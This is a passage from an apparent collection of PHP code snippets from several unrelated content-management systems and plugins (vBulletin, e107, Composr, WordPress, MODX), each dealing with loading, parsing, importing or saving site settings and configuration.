. $vbphrase['please_wait'], ':', 'dspan');\n\n\trequire_once(DIR . '/includes/class_xml.php');\n\n\t$xmlobj = new vB_XML_Parser($xml, $GLOBALS['path']);\n\n\tif ($xmlobj->error_no == 1)\n\t{\n\t\tprint_dots_stop();\n\t\tprint_stop_message('no_xml_and_no_path');\n\t}\n\telse if ($xmlobj->error_no == 2)\n\t{\n\t\tprint_dots_stop();\n\t\tprint_stop_message('please_ensure_x_file_is_located_at_y', 'phpkd_vblvb-settings.xml', $GLOBALS['path']);\n\t}\n\n\tif(!$arr = $xmlobj->parse())\n\t{\n\t\tprint_dots_stop();\n\t\tprint_stop_message('xml_error_x_at_line_y', $xmlobj->error_string(), $xmlobj->error_line());\n\t}\n\n\tif (!$arr['settinggroup'])\n\t{\n\t\tprint_dots_stop();\n\t\tprint_stop_message('invalid_file_specified');\n\t}\n\n\t$settinggroups = array();\n\tforeach($arr['settinggroup'] AS $group)\n\t{\n\t\t$settinggroups[] = $group['name'];\n\t}\n\n\t// delete old volatile settings and settings that might conflict with new ones...\n\t$vbulletin->db->query_write(\"DELETE FROM \" . TABLE_PREFIX . \"phpkd_vblvb_settinggroup WHERE volatile = 1 && grouptitle IN('\" . implode('\\',\\'', $settinggroups) . \"')\");\n\t$vbulletin->db->query_write(\"DELETE FROM \" . TABLE_PREFIX . \"phpkd_vblvb_setting WHERE volatile = 1 && grouptitle IN('\" . implode('\\',\\'', $settinggroups) . \"')\");\n\n\t// run through imported array\n\tif (!is_array($arr['settinggroup'][0]))\n\t{\n\t\t$arr['settinggroup'] = array($arr['settinggroup']);\n\t}\n\n\tforeach($arr['settinggroup'] AS $group)\n\t{\n\t\t// insert setting group\n\t\t$vbulletin->db->query_write(\"\n\t\t\tINSERT IGNORE INTO \" . TABLE_PREFIX . \"phpkd_vblvb_settinggroup\n\t\t\t(grouptitle, displayorder, volatile)\n\t\t\tVALUES\n\t\t\t('\" . $vbulletin->db->escape_string($group['name']) . \"', \" . intval($group['displayorder']) . \", 1)\n\t\t\");\n\n\t\t// build insert query for this group's settings\n\t\t$qBits = array();\n\n\t\tif (!is_array($group['setting'][0]))\n\t\t{\n\t\t\t$group['setting'] = array($group['setting']);\n\t\t}\n\n\t\tforeach($group['setting'] AS $setting)\n\t\t{\n\t\t\tif (isset($vbulletin->phpkd_vblvb[\"$setting[varname]\"]))\n\t\t\t{\n\t\t\t\t$newvalue = $vbulletin->phpkd_vblvb[\"$setting[varname]\"];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$newvalue = $setting['defaultvalue'];\n\t\t\t}\n\n\t\t\t$qBits[] = \"(\n\t\t\t\t'\" . $vbulletin->db->escape_string($setting['varname']) . \"',\n\t\t\t\t'\" . $vbulletin->db->escape_string($group['name']) . \"',\n\t\t\t\t'\" . $vbulletin->db->escape_string(trim($newvalue)) . \"',\n\t\t\t\t'\" . $vbulletin->db->escape_string(trim($setting['defaultvalue'])) . \"',\n\t\t\t\t'\" . $vbulletin->db->escape_string(trim($setting['datatype'])) . \"',\n\t\t\t\t'\" . $vbulletin->db->escape_string($setting['optioncode']) . \"',\n\t\t\t\t\" . intval($setting['displayorder']) . \",\n\t\t\t\t\" . intval($setting['advanced']) . \",\n\t\t\t\t1\" . (!defined('UPGRADE_COMPAT') ? \",\n\t\t\t\t\t'\" . $vbulletin->db->escape_string($setting['validationcode']) . \"',\n\t\t\t\t\t\" . intval($setting['blacklist']) : '') . \"\\n\\t)\";\n\t\t}\n\n\t\t// run settings insert query\n\t\t$vbulletin->db->query_write(\"\n\t\t\tINSERT IGNORE INTO \" . TABLE_PREFIX . \"phpkd_vblvb_setting\n\t\t\t(varname, grouptitle, value, defaultvalue, datatype, optioncode, displayorder,\n\t\t\tadvanced, volatile\" . (!defined('UPGRADE_COMPAT') ? ', validationcode, blacklist' : '') . \")\n\t\t\tVALUES\n\t\t\t\" . implode(\",\\n\\t\", $qBits));\n\t}\n\n\t// rebuild the $vbulletin->phpkd_vblvb array\n\tphpkd_vblvb_build();\n\n\t// stop the 'dots' counter feedback\n\tprint_dots_stop();\n}", "public function readConfigurationValues();", "private function saveConfig() {\n \tself::$_configInstance = (object)$this->_data; \n file_put_contents($this->_data['cache_config_file'],serialize(self::$_configInstance)); \n }", "public function load_settings_values() {\n\t\t\tparent::load_settings_values();\n\n\t\t\t// If the settings set as a whole is empty then we set a default.\n\t\t\tif ( empty( $this->setting_option_values ) ) {\n\t\t\t\t// If the settings set as a whole is empty then we set a default.\n\t\t\t\tif ( false === $this->setting_option_values ) {\n\t\t\t\t\t$this->transition_deprecated_settings();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( ! isset( $this->setting_option_values['admin_mail_from_name'] ) ) {\n\t\t\t\t$this->setting_option_values['admin_mail_from_name'] = '';\n\t\t\t}\n\n\t\t\tif ( ! isset( $this->setting_option_values['admin_mail_from_email'] ) ) {\n\t\t\t\t$this->setting_option_values['admin_mail_from_email'] = '';\n\t\t\t}\n\n\t\t\tif ( ! isset( $this->setting_option_values['admin_mail_to'] ) ) {\n\t\t\t\t$this->setting_option_values['admin_mail_to'] = '';\n\t\t\t}\n\n\t\t\tif ( ! isset( $this->setting_option_values['admin_mail_subject'] ) ) {\n\t\t\t\t$this->setting_option_values['admin_mail_subject'] = '';\n\t\t\t}\n\n\t\t\tif ( ! isset( $this->setting_option_values['admin_mail_message'] ) ) {\n\t\t\t\t$this->setting_option_values['admin_mail_message'] = '';\n\t\t\t}\n\n\t\t\tif ( ! isset( $this->setting_option_values['admin_mail_html'] ) ) {\n\t\t\t\t$this->setting_option_values['admin_mail_html'] = '';\n\t\t\t}\n\t\t}", "public function parse()\n {\n $this->data = parse_ini_file($this->fileName);\n }", "public function import_configuration()\n\t{\n\t\t$this->logLine('Starting configuration import');\n\n\t\t// PRE-CONFIG start - create and register blank config instances - do not load!\n\t\t$config_aliases = array(\n\t\t\t'core',\n\t\t\t'core_backup',\n\t\t\t'emote', \n\t\t\t'menu',\n\t\t\t'search',\n\t\t\t'notify',\n\t\t);\n\t\tforeach ($config_aliases as $alias) \n\t\t{\n\t\t\te107::getConfig($alias, false)->clearPrefCache();\n\t\t}\n\t\t// PRE-CONFIG end\t\t\n\n\t\t// Basic stuff to get the handlers/classes to work.\n\n\n\t\t// $udirs = \"admin/|plugins/|temp\";\n\t\t// $e_SELF = $_SERVER['PHP_SELF'];\n\t\t// $e_HTTP = preg_replace(\"#\".$udirs.\"#i\", \"\", substr($e_SELF, 0, strrpos($e_SELF, \"/\")).\"/\");\n\n\t\t// define(\"MAGIC_QUOTES_GPC\", (ini_get('magic_quotes_gpc') ? true : false));\n\t\t// define('CHARSET', 'utf-8');\n\t\t// define(\"e_LANGUAGE\", $this->previous_steps['language']);\n\t\t// define('e_SELF', 'http://'.$_SERVER['HTTP_HOST']) . ($_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_FILENAME']);\n\n\t\t$themeImportFile = array();\n\t\t$themeImportFile[0] = $this->e107->e107_dirs['THEMES_DIRECTORY'].$this->previous_steps['prefs']['sitetheme'].\"/install.xml\";\n\t\t$themeImportFile[1] = $this->e107->e107_dirs['THEMES_DIRECTORY'].$this->previous_steps['prefs']['sitetheme'].\"/install/install.xml\";\n\t\t// $themeImportFile[3] = $this->e107->e107_dirs['CORE_DIRECTORY']. \"xml/default_install.xml\";\n\n\t\t$XMLImportfile = false;\n\n\t\tif(vartrue($this->previous_steps['generate_content']))\n\t\t{\n\t\t\tforeach($themeImportFile as $file)\n\t\t\t{\n\t\t\t\tif(is_readable($file))\n\t\t\t\t{\n\t\t\t\t\t$XMLImportfile = $file;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$tp = e107::getParser();\n\n\t\tdefine('PREVIEWTHEMENAME',\"\"); // Notice Removal.\n\n//\t\tinclude_lan($this->e107->e107_dirs['LANGUAGES_DIRECTORY'].$this->previous_steps['language'].\"/lan_prefs.php\");\n\t\tinclude_lan($this->e107->e107_dirs['LANGUAGES_DIRECTORY'].$this->previous_steps['language'].\"/admin/lan_theme.php\");\n\n\t\t// [SecretR] should work now - fixed log errors (argument noLogs = true) change to false to enable log\n\t\t\n\t\t$coreConfig = $this->e107->e107_dirs['CORE_DIRECTORY']. \"xml/default_install.xml\";\t\t\n\t\t$ret = e107::getXml()->e107Import($coreConfig, 'replace', true, false); // Add core pref values\n\t\t$this->logLine('Attempting to Write Core Prefs.');\n\t\t$this->logLine(print_r($ret, true));\n\t\t/*\n\t\tif($XMLImportfile) // We cannot rely on themes to include all prefs..so use 'replace'. \n\t\t{\n\t\t\t$ret2 = e107::getXml()->e107Import($XMLImportfile, 'replace', true, false); // Overwrite specific core pref and tables entries. \n\t\t\t$this->logLine('Attempting to write Theme Prefs/Tables (install.xml)');\n\t\t\t$this->logLine(print_r($ret2, true));\n\t\t}\n\t\t\n\t*/\t//Create default plugin-table entries.\n\t\t// e107::getConfig('core')->clearPrefCache();\n\t\te107::getPlugin()->update_plugins_table('update');\n\t\t$this->logLine('Plugins table updated');\n\n\t\t// Install Theme-required plugins\n\t\tif(vartrue($this->previous_steps['install_plugins']))\n\t\t{\n\t\t\tif($themeInfo = $this->get_theme_xml($this->previous_steps['prefs']['sitetheme']))\n\t\t\t{\n\t\t\t\tif(isset($themeInfo['plugins']['plugin']))\n\t\t\t\t{\n\t\t\t\t\tforeach($themeInfo['plugins']['plugin'] as $k=>$plug)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->install_plugin($plug['@attributes']['name']);\n\t\t\t\t\t\t$this->logLine('Theme-related plugin installed: '.$plug['@attributes']['name']);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\n\n\t\te107::getSingleton('e107plugin')->save_addon_prefs('update'); // save plugin addon pref-lists. eg. e_latest_list.\n\t\t$this->logLine('Addon prefs saved');\n\n\t\t// do this AFTER any required plugins are installated. \n\t\tif($XMLImportfile) // We cannot rely on themes to include all prefs..so use 'replace'.\n\t\t{\n\t\t\t$ret2 = e107::getXml()->e107Import($XMLImportfile, 'replace', true, false); // Overwrite specific core pref and tables entries.\n\t\t\t$this->logLine('Attempting to write Theme Prefs/Tables (install.xml)');\n\t\t\t$this->logLine(print_r($ret2, true));\n\t\t}\n\n\n\t\t$tm = e107::getSingleton('themeHandler');\n\t\t$tm->noLog = true; // false to enable log\n\t\t$tm->setTheme($this->previous_steps['prefs']['sitetheme'], false);\n\n\t\t// Admin log fix - don't allow logs to be called inside pref handler\n\t\t// FIX\n\t\te107::getConfig('core')->setParam('nologs', true); // change to false to enable log\n\t\t$pref = e107::getConfig('core')->getPref();\n\n\t\t// Set Preferences defined during install - overwriting those that may exist in the XML.\n\n\t\t$this->previous_steps['prefs']['sitelanguage'] \t\t= $this->previous_steps['language'];\n\t\t$this->previous_steps['prefs']['sitelang_init']\t\t= $this->previous_steps['language'];\n\n\t\t$this->previous_steps['prefs']['siteadmin'] \t\t= $this->previous_steps['admin']['display'];\n\t\t$this->previous_steps['prefs']['siteadminemail'] \t= $this->previous_steps['admin']['email'];\n\t\t$this->previous_steps['prefs']['install_date'] \t= time();\n\t\t$this->previous_steps['prefs']['siteurl']\t\t\t= e_HTTP;\n\n\t\t$this->previous_steps['prefs']['sitetag']\t\t\t= \"e107 Website System\";\n\t\t$this->previous_steps['prefs']['sitedisclaimer']\t= '';\n\n\t\t$this->previous_steps['prefs']['replyto_name']\t\t= $this->previous_steps['admin']['display'];\n\t\t$this->previous_steps['prefs']['replyto_email']\t\t= $this->previous_steps['admin']['email'];\n\n\t\t// Cookie name fix, ended up with 406 error when non-latin words used\n\t\t$cookiename \t\t\t\t\t\t\t\t\t\t= preg_replace('/[^a-z0-9]/i', '', trim($this->previous_steps['prefs']['sitename']));\n\t\t$this->previous_steps['prefs']['cookie_name']\t\t= ($cookiename ? substr($cookiename, 0, 4).'_' : 'e_').'cookie';\n\t\t\n\t\t### URL related prefs\n\t\t// set all prefs so that they are available, required for adminReadModules() - it checks which plugins are installed\n\t\te107::getConfig('core')->setPref($this->previous_steps['prefs']); \n\t\t\n\t\t$url_modules = eRouter::adminReadModules();\n\t\t$url_locations = eRouter::adminBuildLocations($url_modules);\n\t\t$url_config = eRouter::adminBuildConfig(array(), $url_modules);\n\t\t\n\t\t$this->previous_steps['prefs']['url_aliases']\t\t= array();\n\t\t$this->previous_steps['prefs']['url_config']\t\t= $url_config;\n\t\t$this->previous_steps['prefs']['url_modules']\t\t= $url_modules;\n\t\t$this->previous_steps['prefs']['url_locations']\t\t= $url_locations;\n\t\teRouter::clearCache();\n\t\t$this->logLine('Core URL config set to default state');\n\n\t\t$us = e107::getUserSession();\n\n\t\tif($us->passwordAPIExists() === true)\n\t\t{\n\t\t\t$this->previous_steps['prefs']['passwordEncoding'] = PASSWORD_E107_PHP;\n\t\t\t$pwdEncoding = PASSWORD_E107_PHP;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$pwdEncoding = PASSWORD_E107_MD5; // default already in default_install.xml\n\t\t}\n\n\t\t// Set prefs, save\n\t\te107::getConfig('core')->setPref($this->previous_steps['prefs']);\n\t\te107::getConfig('core')->save(FALSE,TRUE, FALSE); // save preferences made during install.\n\t\t$this->logLine('Core prefs set to install choices');\n\n\t\t// Create the admin user - replacing any that may be been included in the XML.\n\n\t\t$hash = $us->HashPassword($this->previous_steps['admin']['password'],$this->previous_steps['admin']['user'], $pwdEncoding);\n\n\t\t$ip = $_SERVER['REMOTE_ADDR'];\n\t\t$userp = \"1, '{$this->previous_steps['admin']['display']}', '{$this->previous_steps['admin']['user']}', '', '\".$hash.\"', '', '{$this->previous_steps['admin']['email']}', '', '', 0, \".time().\", 0, 0, 0, 0, 0, '{$ip}', 0, '', 0, 1, '', '', '0', '', \".time().\", ''\";\n\t\t$qry = \"REPLACE INTO {$this->previous_steps['mysql']['prefix']}user VALUES ({$userp})\";\n\t\t$this->dbqry(\"REPLACE INTO {$this->previous_steps['mysql']['prefix']}user VALUES ({$userp})\" );\n\t\t$this->logLine('Admin user created');\n\n\t\t// Add Default user-extended values;\n\t\t$extendedQuery = \"REPLACE INTO `{$this->previous_steps['mysql']['prefix']}user_extended` (`user_extended_id` ,\t`user_hidden_fields`) VALUES ('1', NULL \t);\";\n\t\t$this->dbqry($extendedQuery);\n\n\t\te107::getDb()->close();\n\t//\tmysql_close($this->dbLink);\n\t\t\n\t\te107::getMessage()->reset(false, false, true);\n\t\t\n\t\treturn false;\n\t}", "public function parseSettings($settings) {\n # already array?\n if (!is_string($settings)) {\n return $settings;\n }\n $parts = explode(',', trim($settings));\n $s = array();\n foreach ($parts as $k => $v) {\n $kv = explode('=', trim($v));\n # convert all key values to lowercase to ease against simple typos\n $key = strtolower(trim($kv[0]));\n $s[$key] = trim($kv[1]);\n }\n return $s;\n }", "abstract public function getSettings();", "private function packSettings()\n {\n $settings = include_once __DIR__ . '/elements/settings.php';\n if (!is_array($settings)) {\n $this->modx->log(modX::LOG_LEVEL_ERROR, 'Cannot build settings');\n } else {\n foreach ($settings as $setting) {\n $this->builder->putVehicle($this->builder->createVehicle($setting, [\n xPDOTransport::UNIQUE_KEY => 'key',\n xPDOTransport::PRESERVE_KEYS => true,\n xPDOTransport::UPDATE_OBJECT => false\n ]));\n }\n $this->modx->log(modX::LOG_LEVEL_INFO, 'Packaged in ' . count($settings) . ' system settings.');\n }\n }", "private function _loadGlobalSettings(){\r\n\r\n $settings = ROOT.DS.'site'.DS.'content'.DS.'global_settings.json';\r\n\r\n if(file_exists($settings)){\r\n $this->globalSettings = json_decode(file_get_contents($settings));\r\n } else {\r\n $globalSettings = new stdClass();\r\n $globalSettings->website_name = '';\r\n $globalSettings->global_script = '';\r\n file_put_contents($settings, json_encode($globalSettings));\r\n }\r\n\r\n }", "public function __construct()\n\t{\n\n\t\tparent::__construct();\n\n\t\t/** \n\t\t * Using the fields from baseSettings, assign a new entry\n\t\t * to each variable.\n\t\t *\n\t\t * @param Each array has the new setting plus a description of each entry\n\t\t */ \n\n\t\t$this->newSettings = array(\n\t \t'webRoot'\t\t=> \tarray($this->webRoot,\t'Specify the folder your websites will reside'),\n\t \t'hostsFile'\t\t=> \tarray($this->hostsFile,\t'Specify your hosts file location'),\n\t \t'vhostsFile'\t=> \tarray($this->vhostsFile,\t'Specify your vhosts.conf location'),\n\t \t'rootHttpd'\t\t=> \tarray($this->rootHttpd,\t'Where do you put your websites?')\n\t \t);\n\n\t\tvar_dump($this->newSettings);\n\n\t \t/** \n\t\t * Get a list of the variables in the scope before including the file\n\t\t *\n\t\t * @var stores current variables\n\t\t */\n\n\t\t$this->oldVar = get_defined_vars();\n\n\t\t/** \n\t\t * Include the config file and get it's values\n\t\t *\n\t\t * @var stores variables of current config (before update)\n\t\t */\n\n\n\t\tif (is_file($this->filePath))\n\t\t{\n\t\t require_once($this->filePath);\n\t\t header(\"settingsSaved: 1\");\n\t\t} else {\n\t\t\theader(\"settingsSaved: Error: unable to load config\");\n\t\t}\n\t\t/** \n\t\t * Get a list of the variables in the scope after including the file\n\t\t *\n\t\t * @var stores variables of current config (after update)\n\t\t */\n\n\t\t$this->newVar = get_defined_vars();\n\n\t\t/** \n\t\t * Find the difference - after this, $fileSettings \n\t\t * contains only the variables declared in the file\n\t\t *\n\t\t * @var stores contains new variables.\n\t\t */\n\n\t\t$this->fileSettings = array_diff($this->newVar, $this->oldVar);\n\n\t\t/** \n\t\t * Update $fileSettings with any new values \n\t\t *\n\t\t * @var string stores new variables.\n\t\t */\n\n\t\t// \n\t\t$this->fileSettings = array_merge($this->fileSettings, $this->newSettings);\n\n\t}", "abstract protected function _updateConfiguration();", "function Settings_API($load_settings=true)\n\t{\n\t\t$this->ConfigFile = SENDSTUDIO_INCLUDES_DIRECTORY . '/config.php';\n\t\t$this->WhiteLabelCache = IEM_InterspireStash::getInstance();\n\n\t\tif ($load_settings) {\n\t\t\t$db = $this->GetDb();\n\t\t\t$this->LoadSettings();\n\t\t}\n\t}", "protected function load_settings() {\n\t\t$this->settings = WP_United_Settings::Create();\n\t\t$this->init_style_keys();\n\t}", "public function processConfiguration()\n\t{\n\t\t// Check if the value sent on form submit matches one of either $_POST or $_GET keys \n\t\tif (Tools::isSubmit('submit_emailmystock_form'))\n\t\t{\n\t\t\t$enable_emails = Tools::getValue('enable_emails');\n\t\t\t// Update configuration value to database\n\t\t\tConfiguration::updateValue('MYMOD_EMAILS', $enable_emails);\n\t\t\t// Allows the Smarty object to display a confirmation message when the configuration is saved (see top of getContent.tpl)\n\t\t\t$this->context->smarty->assign('confirmation', 'ok');\n\t\t}\n\t}", "public function parseConfig()\n {\n $fileContents = file_get_contents($this->filename);\n if (!$fileContents) {\n $this->error = 'Failed to read file contents';\n\n return false;\n }\n\n $config = json_decode($fileContents, true);\n if (json_last_error()) {\n $this->error = json_last_error_msg();\n\n return false;\n }\n\n $this->config = new Data(array_replace_recursive($config, $this->overrides));\n\n return true;\n }", "public function config_set()\n {\n require_code('input_filter_2');\n rescue_shortened_post_request();\n\n require_code('caches3');\n\n global $CONFIG_OPTIONS_CACHE;\n\n $category = get_param_string('id', 'MAIN');\n\n if (cms_srv('REQUEST_METHOD') != 'POST') {\n warn_exit(do_lang_tempcode('INTERNAL_ERROR'));\n }\n\n // Make sure we haven't locked ourselves out due to URL Scheme support\n if (\n (post_param_string('url_scheme', 'RAW') != 'RAW') &&\n (substr(cms_srv('SERVER_SOFTWARE'), 0, 6) == 'Apache') &&\n (\n (!file_exists(get_file_base() . '/.htaccess')) ||\n (stripos(file_get_contents(get_file_base() . '/.htaccess'), 'RewriteEngine on') === false) ||\n ((function_exists('apache_get_modules')) && (!in_array('mod_rewrite', apache_get_modules()))) ||\n (http_download_file(get_base_url() . '/pg/keymap', null, false, true) != '') && ($GLOBALS['HTTP_MESSAGE'] == '404')\n )\n ) {\n warn_exit(do_lang_tempcode('BEFORE_MOD_REWRITE'));\n }\n\n // Make sure we haven't just locked staff out\n if (addon_installed('staff')) {\n $new_site_name = substr(post_param_string('site_name', ''), 0, 200);\n if (($new_site_name != '') && (get_option('is_on_sync_staff') === '1')) {\n $admin_groups = array_merge($GLOBALS['FORUM_DRIVER']->get_super_admin_groups(), $GLOBALS['FORUM_DRIVER']->get_moderator_groups());\n $staff = $GLOBALS['FORUM_DRIVER']->member_group_query($admin_groups, 100);\n if (count($staff) < 100) {\n foreach ($staff as $row_staff) {\n $member = $GLOBALS['FORUM_DRIVER']->mrow_id($row_staff);\n if ($GLOBALS['FORUM_DRIVER']->is_staff($member)) {\n $sites = get_cms_cpf('sites');\n $sites = str_replace(', ' . get_site_name(), '', $sites);\n $sites = str_replace(',' . get_site_name(), '', $sites);\n $sites = str_replace(get_site_name() . ', ', '', $sites);\n $sites = str_replace(get_site_name() . ',', '', $sites);\n $sites = str_replace(get_site_name(), '', $sites);\n if ($sites != '') {\n $sites .= ', ';\n }\n $sites .= $new_site_name;\n $GLOBALS['FORUM_DRIVER']->set_custom_field($member, 'sites', $sites);\n }\n }\n }\n }\n }\n\n // Empty thumbnail cache if needed\n if (function_exists('imagetypes')) {\n if ((!is_null(post_param_string('thumb_width', null))) && (post_param_string('thumb_width') != get_option('thumb_width'))) {\n erase_thumb_cache();\n }\n }\n\n // Empty language cache if needed\n if ((!is_null(post_param_string('yeehaw', null))) && (post_param_string('yeehaw') != get_option('yeehaw'))) {\n erase_cached_language();\n }\n\n // Find all options in category\n $hooks = find_all_hooks('systems', 'config');\n $options = array();\n foreach (array_keys($hooks) as $hook) {\n require_code('hooks/systems/config/' . filter_naughty_harsh($hook));\n $ob = object_factory('Hook_config_' . filter_naughty_harsh($hook));\n $option = $ob->get_details();\n if ($category == $option['category']) {\n if ((is_null($GLOBALS['CURRENT_SHARE_USER'])) || ($option['shared_hosting_restricted'] == 0)) {\n if (!is_null($ob->get_default())) {\n $option['ob'] = $ob;\n $options[$hook] = $option;\n }\n }\n }\n }\n\n // Add in special ones\n if ($category == 'SITE') {\n $options['timezone'] = array('shared_hosting_restricted' => 0, 'type' => 'special');\n }\n\n // Go through all options on the page, saving\n foreach ($options as $name => $option) {\n // Save\n if ($option['type'] == 'float') {\n $_value = post_param_string($name, '');\n $value = ($_value == '') ? '' : float_unformat($_value);\n } elseif ($option['type'] == 'tick') {\n $value = strval(post_param_integer($name, 0));\n } elseif ($option['type'] == 'date') {\n $date_value = post_param_date($name);\n $value = is_null($date_value) ? '' : strval($date_value);\n } elseif ((($option['type'] == 'forum') || ($option['type'] == '?forum')) && (get_forum_type() == 'cns')) {\n $value = post_param_string($name);\n if (is_numeric($value)) {\n $value = $GLOBALS['FORUM_DB']->query_select_value_if_there('f_forums', 'f_name', array('id' => post_param_integer($name)));\n }\n if (is_null($value)) {\n $value = '';\n }\n } elseif (($option['type'] == 'forum_grouping') && (get_forum_type() == 'cns')) {\n $value = post_param_string($name);\n if (is_numeric($value)) {\n $value = $GLOBALS['FORUM_DB']->query_select_value_if_there('f_forum_groupings', 'c_title', array('id' => post_param_integer($name)));\n }\n if (is_null($value)) {\n $value = '';\n }\n } elseif ((($option['type'] == 'usergroup') || ($option['type'] == 'usergroup_not_guest')) && (get_forum_type() == 'cns')) {\n $_value = $GLOBALS['FORUM_DB']->query_select_value_if_there('f_groups', 'g_name', array('id' => post_param_integer($name)));\n if (is_null($_value)) {\n $value = '';\n } else {\n $value = get_translated_text($_value);\n }\n } else {\n $value = post_param_string($name, '');\n }\n\n // Hard-coded special options\n if ($name == 'timezone') {\n set_value('timezone', $value);\n } else {\n // If the option was changed\n $old_value = get_option($name);\n if (($old_value != $value) || (!isset($CONFIG_OPTIONS_CACHE[$name]['c_set'])) || ($CONFIG_OPTIONS_CACHE[$name]['c_set'] == 0)) {\n set_option($name, $value);\n }\n }\n }\n\n // Clear some caching\n erase_comcode_page_cache();\n erase_block_cache();\n //persistent_cache_delete('OPTIONS'); Done by set_option / erase_persistent_cache\n erase_persistent_cache();\n erase_cached_templates(false, null, TEMPLATE_DECACHE_WITH_CONFIG);\n\n // Show it worked / Refresh\n $redirect = get_param_string('redirect', null);\n if ($redirect === null) {\n $url = build_url(array('page' => '_SELF', 'type' => 'browse'), '_SELF'); // , 'type' => 'category', 'id' => $category\n } else {\n $url = make_string_tempcode($redirect);\n }\n return redirect_screen($this->title, $url, do_lang_tempcode('SUCCESS'));\n }", "public function save_settings() {\n\t\tcheck_admin_referer( 'mylisting_update_mapservices' );\n\t\tif ( ! current_user_can( 'manage_options' ) ) {\n\t\t\tdie;\n\t\t}\n\n\t\t$config = [];\n\t\t$config['provider'] = ! empty( $_POST['provider'] ) ? sanitize_text_field( $_POST['provider'] ) : 'google-maps';\n\n\t\t// google maps\n\t\t$config['gmaps_api_key'] = ! empty( $_POST['gmaps_api_key'] ) ? sanitize_text_field( $_POST['gmaps_api_key'] ) : '';\n\t\t$config['gmaps_lang'] = ! empty( $_POST['gmaps_lang'] ) ? sanitize_text_field( $_POST['gmaps_lang'] ) : 'default';\n\t\t$config['gmaps_types'] = ! empty( $_POST['gmaps_types'] ) ? sanitize_text_field( $_POST['gmaps_types'] ) : 'geocode';\n\t\t$config['gmaps_locations'] = ! empty( $_POST['gmaps_locations'] )\n\t\t\t\t? array_map( 'sanitize_text_field', (array) $_POST['gmaps_locations'] )\n\t\t\t\t: [];\n\n\t\t// google maps skins\n\t\t$config['gmaps_skins'] = [];\n\t\tif ( ! empty( $_POST['gmaps_skins'] ) && ! empty( $_POST['gmaps_skinkeys'] ) ) {\n\t\t\tforeach ( (array) $_POST['gmaps_skins'] as $i => $skin ) {\n\t\t\t\tif ( ! empty( $skin ) && ! empty( $_POST['gmaps_skinkeys'][$i] ) && ( $skinval = json_decode( stripslashes( $skin ) ) ) ) {\n\t\t\t\t\t$config['gmaps_skins'][ sanitize_text_field( $_POST['gmaps_skinkeys'][$i] ) ] = json_encode( $skinval );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// mapbox\n\t\t$config['mapbox_api_key'] = ! empty( $_POST['mapbox_api_key'] ) ? sanitize_text_field( $_POST['mapbox_api_key'] ) : '';\n\t\t$config['mapbox_lang'] = ! empty( $_POST['mapbox_lang'] ) ? sanitize_text_field( $_POST['mapbox_lang'] ) : 'default';\n\t\t$config['mapbox_types'] = ! empty( $_POST['mapbox_types'] )\n\t\t\t\t? array_map( 'sanitize_text_field', (array) $_POST['mapbox_types'] )\n\t\t\t\t: [];\n\t\t$config['mapbox_locations'] = ! empty( $_POST['mapbox_locations'] )\n\t\t\t\t? array_map( 'sanitize_text_field', (array) $_POST['mapbox_locations'] )\n\t\t\t\t: [];\n\n\t\t// mapbox skins\n\t\t$config['mapbox_skins'] = [];\n\t\tif ( ! empty( $_POST['mapbox_skins'] ) && ! empty( $_POST['mapbox_skinkeys'] ) ) {\n\t\t\tforeach ( (array) $_POST['mapbox_skins'] as $i => $skin ) {\n\t\t\t\tif ( ! empty( $skin ) && ! empty( $_POST['mapbox_skinkeys'][$i] ) ) {\n\t\t\t\t\tif ( $skinval = json_decode( stripslashes( $skin ) ) ) {\n\t\t\t\t\t\t$config['mapbox_skins'][ sanitize_text_field( $_POST['mapbox_skinkeys'][$i] ) ] = json_encode( $skinval );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$config['mapbox_skins'][ sanitize_text_field( $_POST['mapbox_skinkeys'][$i] ) ] = $skin;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n \t$this->set_config( $config );\n\n\t\treturn wp_safe_redirect( admin_url( 'admin.php?page=theme-mapservice-settings&success=1' ) );\n\t}", "static public function save_setup_settings() {\n\n $data = WPP_F::parse_str( $_REQUEST[ 'data' ] );\n\n $_setup = array(\n 'api' => WPP_API_URL_STANDARDS,\n 'data' => $data,\n 'schema' => self::get_settings_schema()\n );\n\n $_current_settings = get_option('wpp_settings');\n\n $_modified_settings = WPP_F::extend( $_current_settings, $_setup['schema'] );\n\n //die( '<pre>' . print_r( $_modified_settings['field_alias'], true ) . '</pre>' );\n\n if( is_array( $_modified_settings['property_stats_groups'] ) ) {\n // $_modified_settings['property_stats_groups'] = array_unique( $_modified_settings['property_stats_groups'] );\n }\n\n // @note This kills c.rabbit.ci response via Varnish, perhaps some sort of log output somewhere.\n if( is_array( $_modified_settings['searchable_attributes'] ) ) {\n // $_modified_settings[ 'searchable_attributes' ] = array_unique( $_modified_settings[ 'searchable_attributes' ] );\n }\n\n // preserve field aliases\n $_modified_settings['field_alias'] = $_current_settings['field_alias'];\n\n $_modified_settings['_updated'] = time();\n\n update_option( 'wpp_settings', $_modified_settings );\n\n $posts_array = get_posts( array(\n 'posts_per_page' => 1,\n 'orderby' => 'date',\n 'order' => 'DESC',\n 'post_type' => 'property',\n 'post_status' => 'publish',\n 'suppress_filters' => true\n ) );\n\n $return[ 'props_single' ] = get_permalink( $posts_array[ 0 ]->ID );\n\n $return[ '_settings' ] = $data[ 'wpp_settings' ];\n\n self::flush_cache();\n\n wp_send_json( $return );\n\n }", "public function processConfig()\n {\n $gsg = $this->gsgxml;\n\n sfContext::getInstance()->getConfiguration()->loadHelpers('Url');\n\n // process the static urls\n $urls = sfConfig::get('app_sfSimpleGoogleSitemap_urls');\n if ($urls and is_array($urls))\n {\n foreach ($urls as $a)\n {\n $gsg->addUrl(url_for($a['url'], array(), true), false, date('c'), false, $a['freq'], $a['priority']);\n }\n }\n\n $orm = $this->detectOrm();\n\n // process the models (e.g.: sfSimpleBlogPlugin model)\n $models = sfConfig::get('app_sfSimpleGoogleSitemap_models');\n if ($models and is_array($models))\n {\n foreach ($models as $just_a_name => $a)\n {\n $model = $a['model'];\n $route = $a['route'];\n 